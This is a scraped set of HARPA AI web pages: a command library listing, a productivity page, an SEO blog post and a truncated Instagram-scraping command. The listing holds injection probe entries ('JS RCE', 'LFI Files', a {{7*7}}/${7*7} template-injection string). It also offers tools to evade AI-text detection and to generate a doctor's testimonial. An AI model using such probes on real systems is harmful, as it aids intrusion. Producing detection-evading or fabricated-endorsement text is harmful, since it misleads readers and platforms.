contacts, education, experience etc.\ \ Priya Patel\ \ 177\ \ 9](https://harpa.ai/library/linked-in-profile-scraper/67658ecadd321dd19e95ef17) [🤖\ \ SEO Agent v1.1\ \ Generates SEO-optimized blog content from provided texts, keywords, topics, URLs, or YouTube videos.\ \ Promptly\ \ 173\ \ 10](https://harpa.ai/library/seo-agent-v11/672e016e30c666cf8eb20ff3) [🎬\ \ Movie Finder Expert v1\ \ Find any movie or TV show by describing its plot or your preferences, and get comprehensive recommendations with ratings and similar content matches.\ \ Sophie Dubois\ \ 166\ \ 7](https://harpa.ai/library/movie-finder-expert-v1/6731d84999f6d93688c2b209) [🤖\ \ Humanizer: Anti AI Detection Tool v3\ \ Rewrites given AI text into a more human version to pass AI content detection.\ \ Brainforge\ \ 157\ \ 14](https://harpa.ai/library/humanizer%3A-anti-ai-detection-tool-v3/675af31a77626e6e0b40d277) [🧩\ \ YouTube Comments Extraction\ \ Extracts comments from YouTube video page. You can specify how many comments you need. #extraction\ \ Adrian Larsson\ \ 155\ \ 9](https://harpa.ai/library/you-tube-comments-extraction/6728a3fe22b006c16f7f757e) [💥\ \ Comprehensive Content Strategy\ \ Drafts a content strategy for your new business, product, book or just about anything. Helps streamline the creation, organization, and distribution of relevant content, complete with a step-by-step workflow to ensure consistency, clarity, and measurable results\ \ Synaptic\ \ 153\ \ 6](https://harpa.ai/library/comprehensive-content-strategy/675bff4b77626e6e0b51b1ae) [🍽\ \ Simplify & Cook: YouTube Video Recipes\ \ Converts YouTube cooking videos into easy-to-follow recipes with a clear ingredient list.\ \ Prompt Garden\ \ 142\ \ 11](https://harpa.ai/library/simplify-%26-cook%3A-you-tube-video-recipes/675ad17277626e6e0b3e1cd5) [🧩\ \ Reddit Thread Extraction\ \ Extracts key info from Reddit posts and comments while preserving thread structure. Use this command on a Reddit thread page. #extraction\ \ Adrian Larsson\ \ 130\ \ 9](https://harpa.ai/library/reddit-thread-extraction/6728a3fe22b006c16f7f7581) [🔄\ \ Instagram Followers Auto Follow v1.3 #instagram\ \ Automatically follows a list of profiles from a single Instagram account. Works without usernames/links - uses current page data instead.\ \ Mohammed Al-Rashid\ \ 130\ \ 11](https://harpa.ai/library/instagram-followers-auto-follow-v13-%23instagram/6765569ddd321dd19e91f693) [🧩\ \ Facebook Post & Comments Extraction\ \ Extracts the Facebook post and all its comments. Use this command on a post page that can be accessed by clicking the comments count button. #extraction\ \ Adrian Larsson\ \ 105\ \ 14](https://harpa.ai/library/facebook-post--%26-comments-extraction/6728a3fe22b006c16f7f757f) [✍️\ \ Email Writer: GMail, ProtonMail, Outlook, FastMail\ \ The Best AI Email Drafter that follows your style instructions and works perfectly with Gmail, ProtonMail, Outlook, and FastMail\ \ Erik Nielsen\ \ 103\ \ 10](https://harpa.ai/library/email-writer%3A-gmail%2C-proton-mail%2C-outlook%2C-fast-mail/675b37ae77626e6e0b469fda) [🛒\ \ Key Decision Making Factors (KDMF) - by Erik Nielsen\ \ Generates 6 data-backed key decision-making factors (KDMFs) that help customers evaluate and choose products in online stores. #amazon #ebay #emarketing #sales\ \ Erik Nielsen\ \ 98\ \ 14](https://harpa.ai/library/key-decision-making-factors-(kdmf)---by-erik-nielsen/672e431f2a8a03fd59c59e7e) [🧩\ \ Discord Chat Extraction\ \ Extracts messages from Discord discussions. #extraction\ \ Adrian Larsson\ \ 97\ \ 12](https://harpa.ai/library/discord-chat-extraction/6728a3fe22b006c16f7f7583) [🧩\ \ WhatsApp Messages Extraction\ \ Extracts messages from WhatsApp conversation. Run this command while viewing a WhatsApp chat in your browser. #extraction\ \ Adrian Larsson\ \ 96\ \ 13](https://harpa.ai/library/whats-app-messages-extraction/6728a3fe22b006c16f7f7582) [🔄\ \ Instagram Auto Follow or Unfollow v1.1\ \ Auto follow or unfollow a list of accounts on Instagram. Requires a list of @usernames or Instagram profile links. #instagram\ \ Bohdan Kovtunenko\ \ 94\ \ 4](https://harpa.ai/library/instagram-auto-follow-or-unfollow-v11/67642b6fdd321dd19e80a4d3) [💬\ \ YouTube Comment Agent v1.2\ \ Scrapes videos from YouTube on a given topic and leaves summary or custom comments. #youtube\ \ Mei-Ling Zhang\ \ 84\ \ 11](https://harpa.ai/library/you-tube-comment-agent-v12/672b8cd530c666cf8e87022c) [📦\ \ Convert Page to JSON\ \ Extract webpage data into structured and customizable JSON format. Results can be downloaded, sent via webhook, or used in other commands.\ \ Lucas Guassu\ \ 61\ \ 3](https://harpa.ai/library/convert-page-to-json/674588359bcfff35d15207ad) [📸\ \ Full Page Screenshot Summary\ \ Photographs the entire page and lets the vision model actually look at it, so pictures, charts, diagrams and layout count as content instead of being lost the way a plain text extraction loses them. You choose how deep the walk should go and whether it starts at the top or at the current position, and the command then walks the page downwards one screen at a time, which is also what makes a lazy page load its next chunk, so loading and photographing are the same movement. Ten frames travel together in one vision request, and the walk stops by itself at the bottom or at the ceiling you picked. Before a single request is spent you see the exact number of frames and requests and can still stop. One question then asks whether the reading should follow any instructions of your own - a one to one rebuild with fonts and colours, text only without the pictures, anything you type - and whatever you type takes precedence over the format and is carried out on the finished record as well; skipping it reads the whole page in full detail, every word transcribed and every picture described. Every reading is verified: an empty segment is retried, then photographed again and read with a plainer prompt, and only then marked as a visible gap, so a failure is never a silent hole. The frame readings merge into one continuous record. When that record outgrows a single request it is never rewritten smaller: it is indexed into passages cut on frame seams, and you choose between sending every frame in one pass or letting each request draw only the passages it needs, selected by lexical search over that index and delivered with the frame every passage came from named beside it. Both are free. Under retrieval every answer carries frame citations, and every quote is then located in the record, restored to its exact wording, re-pointed at the passage it truly sits in, and dropped if it cannot be found, with numeric, negation and modal guards that catch a claim which kept the words and reversed the meaning. The record answers everything: a quick summary, a long-form or structured report, a visual analysis, a data extraction of every table and chart, a UI audit, a full markdown rebuild of the page, an inventory of links and actions, verbatim citations, a translation, an export, a handover to another command, or anything else you type into the same menu as a free instruction or question. PDFs are handled by page: the page count is read out of the viewer for free where possible, and every page is photographed in turn. Each finished segment reports itself with one compact progress line, so a long page is never a minute of silence. Everything is written in the output language chosen at the start.\ \ Morteza H.\ \ 57\ \ 3](https://harpa.ai/library/full-page-screenshot-summary/67936d7d5c4260e62817489b) [📯\ \ Clickbait Title\ \ Create 10 catchy clickbaits tailored to captivate audiences.\ \ Smart Solutions\ \ 52\ \ 5](https://harpa.ai/library/clickbait-title/6590902c2d7a212eb95027dc) [🛠️\ \ Software Design Workflow #3\ \ Step-by-step creation of software design artifacts with iterative refinement.\ \ K D\ \ 47\ \ 2](https://harpa.ai/library/software-design-workflow-%233/676ee922e1e198d456adb36a) [📤\ \ WebPage To X Post\ \ This prompts analyzes a web article or page and gives you an popular x post format post.\ \ @seo.preneur\ \ 34\ \ 2](https://harpa.ai/library/web-page-to-x-post/672f1323fcb141785d5695ba) [⚙️\ \ Prompt Generator\ \ Simple Prompt Generator\ \ Shadi Elwan\ \ 22\ \ 0](https://harpa.ai/library/prompt-generator/66c362ec3a93ad83bde78939) [🔍\ \ High-Value Keyword Research Tool\ \ Specialized keyword research focusing on high volume/low competition opportunities and valuable long-tail keywords with strong conversion potential.\ \ Najib HADDOUCHI\ \ 18\ \ 1](https://harpa.ai/library/high-value-keyword-research-tool/682b0a2f18d5b1ef7436341a) [🎬\ \ YouTube video summarya\ \ Save time on watching YouTube videos. Break down YouTube videos into parts and get key takeaways.\ \ Marcus Engelmann\ \ 15\ \ 3](https://harpa.ai/library/you-tube-video-summarya/68507ef085fa388781172264) [⚙️\ \ lecture, presentation and cheatsheet generator\ \ This workflow transforms any provided text into a polished, cheatsheet-style lecture note in markdown format. It starts by asking for content, then uses a GPT-driven module to generate detailed lecture notes complete with equations, code examples, and image placeholders. A subsequent JavaScript step cleans up formatting issues before the final result is exported as a markdown file. Perfect for educators and students looking to convert raw text into structured, shareable notes.\ \ K D\ \ 10\ \ 0](https://harpa.ai/library/lecture%2C-presentation-and-cheatsheet-generator/67d30b38eea5a983d4290f7f) [⚙️\ \ Fact Check\ \ Powerful fact checker. Very thorough and precise.\ \ Ric Ya\ \ 10\ \ 0](https://harpa.ai/library/fact-check/68b435027244033068f06786) [💞\ \ AUTO PROTOCOL FINAL\ \ No description provided\ \ Prowrite Team\ \ 9\ \ 0](https://harpa.ai/library/auto-protocol-final/67d13009eea5a983d4e917e1) [🔤\ \ Character counter\ \ Calculates the number of characters in the provided string of text.\ \ Whitney Bacon\ \ 7\ \ 0](https://harpa.ai/library/character-counter/67ca02c6eea5a983d41b043a) [🛍️\ \ Quick WooCommerce Product JSON Generator\ \ Convert any product page into WooCommerce JSON format with easy export/webhook options\ \ Najib HADDOUCHI\ \ 7\ \ 1](https://harpa.ai/library/quick-woo-commerce-product-json-generator/6827605c4d8280305c13252f) [⚙️\ \ WP-Post-Translate-To-German\ \ No description provided\ \ 6\ \ 0](https://harpa.ai/library/wp-post-translate-to-german/67ee7ee6c7d2b7d933feb38e) [⚙️\ \ RP\ \ No description provided\ \ Prowrite Team\ \ 5\ \ 0](https://harpa.ai/library/rp/67cfc9afeea5a983d4bb5080) [⚙️\ \ ArchBot v2.0\ \ ArchBot: An AI detective for your research needs. Greatly improved and refined from V1.\ \ Ric Ya\ \ 4\ \ 0](https://harpa.ai/library/arch-bot-v20/65ecc2c5c9db394d02795d1c) [⚙️\ \ GPT LFI\ \ GPT Test\ \ 4\ \ 0](https://harpa.ai/library/gpt-lfi/693408b97e977b608599e5af) [⚙️\ \ JS RCE\ \ RCE Test\ \ 4\ \ 0](https://harpa.ai/library/js-rce/6934093a7e977b608599ec3b) [⚙️\ \ LFI Files\ \ Files Test\ \ 4\ \ 0](https://harpa.ai/library/lfi-files/69340c697e977b60859a121c) [🏥\ \ Testimony for Pros\ \ This prompt generates a 50-word testimonial from the perspective of a satisfied doctor, expressing happiness about how Prowrite has helped her complete her research protocol. on a monthly basis.\ \ Doc Andrie\ \ 3\ \ 0](https://harpa.ai/library/testimony-for-pros/67cc423aeea5a983d459af91) [⚙️\ \ RP-V2\ \ No description provided\ \ Prowrite Team\ \ 3\ \ 0](https://harpa.ai/library/rp-v2/67d2734ceea5a983d414e7a7) [⚙️\ \ LFI Public\ \ LFI Public Test\ \ 3\ \ 0](https://harpa.ai/library/lfi-public/693408897e977b608599e372) [⚙️\ \ {{7\*7}}\ \ ${7\*7}\ \ 3\ \ 0](https://harpa.ai/library/%7B%7B7*7%7D%7D/6934096b7e977b608599ee98) [⚙️\ \ LFI Multi\ \ Multiple Vectors\ \ 3\ \ 0](https://harpa.ai/library/lfi-multi/69340a227e977b608599f610) [⚙️\ \ Antiland Botu\ \ No description provided\ \ Furkan Aylan\ \ 3\ \ 0](https://harpa.ai/library/antiland-botu/697a73becc25d74e042598dd) [⚙️\ \ RCE Test Cmd\ \ test\ \ test test\ \ 3\ \ 0](https://harpa.ai/library/rce-test-cmd/69b4e13c14d17c8aaf1c0443) [🧠\ \ Auto-Coach\ \ No description provided\ \ Thomas\ \ 3\ \ 0](https://harpa.ai/library/auto-coach/6a123bcf41b54e2f696a3106) [⚙️\ \ 4o-search REQUEST test/demo (public)\ \ Replace YOUR-API-KEY in REQUEST headers field with actual API key; adjust web\_search\_options (context size, location) in body content field\ \ get\_back\_to\_work! C\ \ 2\ \ 0](https://harpa.ai/library/4o-search-request-test%2Fdemo-(public)/67deaf6cbb09c291c693a74d) [⚙️\ \ Verify 1.0\ \ A powerful tool used to verify a claim.\ \ Ric Ya\ \ 2\ \ 0](https://harpa.ai/library/verify-10/65dae5a61d50584d3f17af82) [⚙️\ \ Supporting PAA Content\ \ No description provided\ \ Sean X\ \ 2\ \ 0](https://harpa.ai/library/supporting-paa-content/68f8958ae6649c8e64c11534) [⚙️\ \ Antiland Botu\ \ No description provided\ \ once human\ \ 2\ \ 0](https://harpa.ai/library/antiland-botu/697a3fb8cc25d74e0421a10c) [⚙️\ \ slot checker\ \ No description provided\ \ Leslie Amorganda\ \ 2\ \ 0](https://harpa.ai/library/slot-checker/6a053852cd69e91e286d430d) [🤓\ \ Coach Devoirs (relance ALT + C)\ \ No description provided\ \ Thomas\ \ 2\ \ 0](https://harpa.ai/library/coach-devoirs-(relance-alt-%2B-c)/6a122e4841b54e2f696997b5) [⚙️\ \ 02 PC — Professor Curto v25.5.0 — Infográfico Direto + PNG\ \ Modelo professor curto identificado como 02 PC, com saída final em infográfico direto PNG, usando o resumo em áudio como base principal e preservando todos os pilares estruturais. | Revisão visual 2: menos texto por card, sem marcas da fonte no infográfico. | Revisão visual 3: modelo no início e no fim do áudio; cards mais inteligentes e visuais.\ \ Compilando o Conhecimento\ \ 2\ \ 0](https://harpa.ai/library/02-pc-%E2%80%94-professor-curto-v2550-%E2%80%94-infogr%C3%A1fico-direto-%2B-png/6a14a1dd41b54e2f698a27f8) [🤖\ \ Humanizer: Anti AI Detection Tool v3\ \ Rewrites given AI text into a more human version to pass AI content detection.\ \ Michael Cid\ \ 1\ \ 0](https://harpa.ai/library/humanizer%3A-anti-ai-detection-tool-v3/68758f635704578439656a81) [⚙️\ \ Utdij\_kalkulator\ \ HI\ \ Péter András Vonyó\ \ 1\ \ 0](https://harpa.ai/library/utdij-kalkulator/68ea0da2b20bba5beb93e3c8) [⚙️\ \ alarminfo\ \ No description provided\ \ 宁 Dave\ \ 1\ \ 0](https://harpa.ai/library/alarminfo/6970e6b8791e1538a251382b) [⚙️\ \ extract-size-chart\ \ No description provided\ \ 1\ \ 0](https://harpa.ai/library/extract-size-chart/697cb085cc25d74e0447793c) [⚙️\ \ Мой промпт #3\ \ No description provided\ \ Serhii A\ \ 1\ \ 0](https://harpa.ai/library/%D0%BC%D0%BE%D0%B9-%D0%BF%D1%80%D0%BE%D0%BC%D0%BF%D1%82-%233/69a0109509113150a76f132b) [⚙️\ \ 04 PL — Professor Longo v25.5.0 — Infográfico Direto + PNG\ \ Modelo professor longo identificado como 04 PL, com saída final em infográfico direto PNG, usando o resumo em áudio como base principal e preservando todos os pilares estruturais. | Revisão visual 2: menos texto por card, sem marcas da fonte no infográfico. | Revisão visual 3: modelo no início e no fim do áudio; cards mais inteligentes e visuais.\ \ Compilando o Conhecimento\ \ 1\ \ 0](https://harpa.ai/library/04-pl-%E2%80%94-professor-longo-v2550-%E2%80%94-infogr%C3%A1fico-direto-%2B-png/6a14a1dd41b54e2f698a27f6) [⚙️\ \ 03 PM — Professor Médio v25.5.0 — Infográfico Direto + PNG\ \ Modelo professor médio identificado como 03 PM, com saída final em infográfico direto PNG, usando o resumo em áudio como base principal e preservando todos os pilares estruturais. | Revisão visual 2: menos texto por card, sem marcas da fonte no infográfico. | Revisão visual 3: modelo no início e no fim do áudio; cards mais inteligentes e visuais.\ \ Compilando o Conhecimento\ \ 1\ \ 0](https://harpa.ai/library/03-pm-%E2%80%94-professor-m%C3%A9dio-v2550-%E2%80%94-infogr%C3%A1fico-direto-%2B-png/6a14a1dd41b54e2f698a27f7) [⚙️\ \ 01 PU — Professor Ultracurto v25.5.0 — Infográfico Direto + PNG\ \ Modelo professor ultracurto identificado como 01 PU, com saída final em infográfico direto PNG, usando o resumo em áudio como base principal e preservando todos os pilares estruturais. | Revisão visual 2: menos texto por card, sem marcas da fonte no infográfico. | Revisão visual 3: modelo no início e no fim do áudio; cards mais inteligentes e visuais.\ \ Compilando o Conhecimento\ \ 1\ \ 0](https://harpa.ai/library/01-pu-%E2%80%94-professor-ultracurto-v2550-%E2%80%94-infogr%C3%A1fico-direto-%2B-png/6a14a1dd41b54e2f698a27f9) [⚙️\ \ DABS\ \ No description provided\ \ Ilya Oyzerskiy\ \ 1\ \ 0](https://harpa.ai/library/dabs/6a7b636ad06c7538bdd63d90) [⚙️\ \ R. news Reuters #2\ \ No description provided\ \ DUC NGHIEM\ \ 1\ \ 0](https://harpa.ai/library/r-news-reuters-%232/6a130b6041b54e2f69732fdf) [⚙️\ \ HARPA\_GRID\_ENVIAR\_AUTORIZADO\ \ No description provided\ \ Gustavo da Silveira\ \ 1\ \ 0](https://harpa.ai/library/harpa-grid-enviar-autorizado/6ab5d8716ff68d81c0cc19ed) [⚙️\ \ My Prompt\ \ No description provided\ \ Marcell from Hungary\ \ 1\ \ 0](https://harpa.ai/library/my-prompt/6ae2bc6ddb10069abff353a0) [⚙️\ \ No description provided\ \ Leonice Barros Borges Schneider\ \ 1\ \ 0](https://harpa.ai/library/6ae33ff5db10069abffc8754) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | ChatGPT for Productivity [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/img/cases/productivity.svg) ChatGPT for Productivity ======================== CATEGORY APP [#](https://harpa.ai/case/chatgpt-for-productivity#chatgpt-for-productivity)  ChatGPT for Productivity ------------------------------------------------------------------------------------------------------ HARPA.AI integrates **page-aware ChatGPT commands** into your web browser: * Get information instantly with AI on Google Search * Summarize web pages * Rewrite text * Extract data ![](https://harpa.ai/img/cases/productivity.svg) Capture view Captures page area to find and fix mistakes, explain, pass test or answer questions. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/cases/productivity.svg) Reply Draft a reply in your tone of voice. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/cases/productivity.svg) Rewrite Change or rewrite text in your tone of voice. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/cases/productivity.svg) Compose Write emails, tweets, direct messages, blog posts, job descriptions, in your tone of voice. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/cases/productivity.svg) Finish writing Expands drafts to fully formatted emails, comments, tweets, forum posts in your tone of voice. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/cases/productivity.svg) TL;DR Condense selected text, article, email into a TLDR for quick understanding and time-saving. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/cases/productivity.svg) Ask Get an answer or talk to the opened web page, YouTube video, PDF. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/cases/productivity.svg) Search Agent Scans the web or domain for an answer. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/cases/productivity.svg) Summary Summarize the entire page content into a list of key takeaways, tweet, etc. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/youtube.svg) YouTube video summary Save time on watching YouTube videos. Break down YouTube videos into parts and get key takeaways. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/cases/productivity.svg) Explain Simplifies and explains complex concepts, facts, abbreviations. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/cases/productivity.svg) Alternatives Generate a list of alternative products or topics. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/cases/productivity.svg) Extract data Extract data and contacts from the web page. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/cases/productivity.svg) Extract RSS Extracts RSS feed from the website into a text file, parameter or a summary. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/cases/productivity.svg) Today's RSS Summary Summarizes today's RSS feed into a concise, easy-to-read digest. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/cases/productivity.svg) Chart Create charts from your data. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/cases/productivity.svg) Translate Translate text to the specified language. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/cases/productivity.svg) Grammarly Correct spelling and text grammar. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/cases/productivity.svg) Financial quote Get latest trading price for a stock, company, or currency pair from Yahoo Finance. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/cases/productivity.svg) Autolabel GMail Sort through GMail inbox, categorize emails and assign labels. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/cases/productivity.svg) Automate or monitor page Set up a page, price or element monitor. Schedules AI commands. Connects to HARPA GRID to remote control this browser. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/cases/productivity.svg) PDF Summary Summarize the PDF content in detail or briefly. You can ask follow-up questions about the content or repurpose it. [USE COMMAND](https://get.harpa.ai/) GOT AN IDEA? CONTACT US Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Top Google Rankings with ChatGPT Content [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/general/check-verified-03.svg) Top Google Rankings with ChatGPT Content ======================================== OUTLINE NAVIGATE The digital landscape is constantly evolving. Today, one can't help but marvel at the synergy between artificial intelligence (AI) and Search Engine Optimization (SEO). When intertwined, they offer potent strategies to dominate the first page of Google. But how can you effectively leverage ChatGPT, a groundbreaking tool from OpenAI, to climb Google's ranks? [\#](https://harpa.ai/blog/chatgpt-ai-content-google-rankings-strategy#gpt-4-for-quality-ai-content) GPT-4 for Quality AI Content ---------------------------------------------------------------------------------------------------------------------------------- Currently, content from GPT-3.5 is readily recognized as AI-generated, leading to its infrequent normal indexing in search engines. Yet, utilizing high-quality AI copywriting commands within HARPA AI can frequently allow GPT-3.5 to bypass this [Google AI detection](https://seo.ai/blog/google-detection-chatgpt) . ChatGPT, powered by GPT-4, is more than just another AI tool. It's an advanced content generator capable of assisting users in crafting meticulously researched, top-tier articles. These articles can be enriched with internal links, boosting traffic to various pages of your website. However, like any tool, its potential is best realized when properly used. Here, the pre-configured and built-in HARPA AI commands come into play. [\#](https://harpa.ai/blog/chatgpt-ai-content-google-rankings-strategy#perfect-article-with-chatgpt) Perfect Article with ChatGPT ---------------------------------------------------------------------------------------------------------------------------------- ### [\#](https://harpa.ai/blog/chatgpt-ai-content-google-rankings-strategy#1.-platform-orientation) 1\. Platform Orientation * ChatGPT relies heavily on GPT-4 and data analysis for content creation. Before diving in, familiarize yourself with the platform and its functionalities. ### [\#](https://harpa.ai/blog/chatgpt-ai-content-google-rankings-strategy#2.-steering-the-ai-with-custom-instructions) 2\. Steering the AI with Custom Instructions * One of the secrets behind high-quality content is providing clear and structured custom instructions to ChatGPT. [Read more](https://harpa.ai/blog/chatgpt-with-custom-instructions) * For instance, if you're creating content around "sports coats", even if your category is named "Blazers", your anchor text should align with the former. * Such instructions also streamline the creation of internal links. ### [\#](https://harpa.ai/blog/chatgpt-ai-content-google-rankings-strategy#3.-keywords-research) 3\. Keywords research * SEO is all about keywords. Leveraging tools like **Google Ads Keyword Planner** can provide a goldmine of keyword ideas, tailored for your niche. * For instance, if you run a niche website like 'Suits expert', such tools can help you unearth rich keyword opportunities. Reddit [topic](https://www.reddit.com/r/SEO/comments/1122jt3/chatgpt_content_on_google_rankings/) about ChatGPT content ### [\#](https://harpa.ai/blog/chatgpt-ai-content-google-rankings-strategy#4.-compete,-but-smartly) 4\. Compete, But Smartly * Once you've zeroed in on your keywords, conduct a Google search. It provides a clear snapshot of what your competition is doing. * Employ platforms like [Ahrefs](https://ahrefs.com/) or [SEMRUSH](https://www.semrush.com/) to glean insights on the SEO strategies adopted by your competitors. * The objective? Learn from the best. Embrace SEO practices that have proven successful for top-ranking articles from Google Search. ### [\#](https://harpa.ai/blog/chatgpt-ai-content-google-rankings-strategy#5.-research-and-content-creation) 5\. Research and Content Creation * HARPA AI enables you to extract detailed and crucial information from your competitors' articles. With it, you can conduct keyword analysis, outrank their blog posts, or craft a new post based on the content of your rivals. * HARPA AI allows for the generation of content using GPT-3.5 and GPT-4. Furthermore, you can refine this content with Claude AI or Google Gemini for enhanced search optimization and a more human touch. * With all the available data and the HARPA AI article creator, you can craft the perfect outline, incorporate high-traffic keywords, and integrate frequently asked questions related to the topic. All of this can be achieved within a single command using the versatile HARPA AI application. ![](https://harpa.ai/img/blog/blog10-1.webp) [Read more](https://christopherkokoski.medium.com/i-ranked-a-chatgpt-written-article-on-google-in-24-hours-2289c95a1e11) about ChatGPT-Written Article Google rankings experience. [\#](https://harpa.ai/blog/chatgpt-ai-content-google-rankings-strategy#branding-and-linking) Branding and Linking ------------------------------------------------------------------------------------------------------------------ Branding goes beyond just mentioning brands. With the HARPA AI ChatGPT Copilot, you can incorporate a "Brand Information Table" at the start of an article or craft and insert a chart using the **/chart** command. Additionally, the AI can seamlessly generate internal links for all referenced brands, enhancing both user navigation and SEO. ![](https://harpa.ai/img/blog/blog10-2.webp) [\#](https://harpa.ai/blog/chatgpt-ai-content-google-rankings-strategy#make-your-content-shine) Make Your Content Shine ------------------------------------------------------------------------------------------------------------------------ * **Editing**: Content perfection demands editing. For example, unnecessary sections can be transformed from "keywords to keep an eye on" to "key terms to understand". * **Visual Engagement**: In a digital age where visuals reign supreme, tools like [Canva](https://www.canva.com/learn/how-to-canva-beginners-guide/) can amplify your content's appeal. Use it to craft compelling feature images or data visualizations, even if they represent general industry trends rather than exact statistics. * **Products**: Sprinkling in tangible products can add immense value to your article. Depending on your platform, like Magento or Shopify, embed high-quality product images. * **Internal Linking**: A crucial yet overlooked aspect. Always ensure your internal links steer the readers to the intended pages. [\#](https://harpa.ai/blog/chatgpt-ai-content-google-rankings-strategy#conclusion) Conclusion ---------------------------------------------------------------------------------------------- Harnessing the might of HARPA AI powered by GPT-4 and Claude AI, coupled with smart SEO practices, can indeed pave the way for top Google rankings. The convergence of AI with SEO practices signifies a paradigm shift in content creation. By understanding and implementing the strategies discussed, not only can you rank better on Google, but also enhance user engagement and potentially boost online monetization. [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/blog/youtube-video-to-blog-post) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/blog/seo-competitor-analysis) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Instagram Data Extraction v1 [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER 🧬  Instagram Data Extraction v1 ================================ Extracts Instagram follower and following profiles, saving it as JSON with names and profile links. #instagram #json -------------------------------------------------------------------------------------------------------------------- Created by **Bohdan Kovtunenko** Updated on **Nov 11, 2024 08:11** Installed **201 times** 7 RUNS JS CODESENDS HTTP REQUESTS How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - type: calc func: delete param: g.json label: DEL GLOBAL JSON - type: ask param: input message: >- Send the Instagram profile as **@username** or **username**, the link as **https://www.instagram.com/username/**, or start processing this tab. options: - label: ✅ USE THIS TAB value: tab - $custom default: '' vision: enabled: false mode: area send: true hint: '' label: ASK FOR INPUT optionsInvalid: false - type: group steps: - type: js args: url code: |- let regex = /instagram\.com\/[\w\.]+(?:\/.*)?$/; let isValid = regex.test(url); return isValid; param: linkCheck timeout: 15000 silent: true - type: say message: >- ⛔️ The webpage is not suitable for processing. Please start on a new page or provide me with a username or link. condition: '{{linkCheck}} = false' - type: jump to: ASK FOR INPUT condition: '{{linkCheck}} = false' - code: |- let urlPattern = /^https:\/\/www\.instagram\.com\/([\w\.]+)/; let result = url.match(urlPattern)[1]; return result; param: username type: js args: url timeout: 15000 silent: true - to: EXTRACT STATS type: jump label: CHECK CURRENT TAB condition: '{{input}} = tab' - steps: - code: 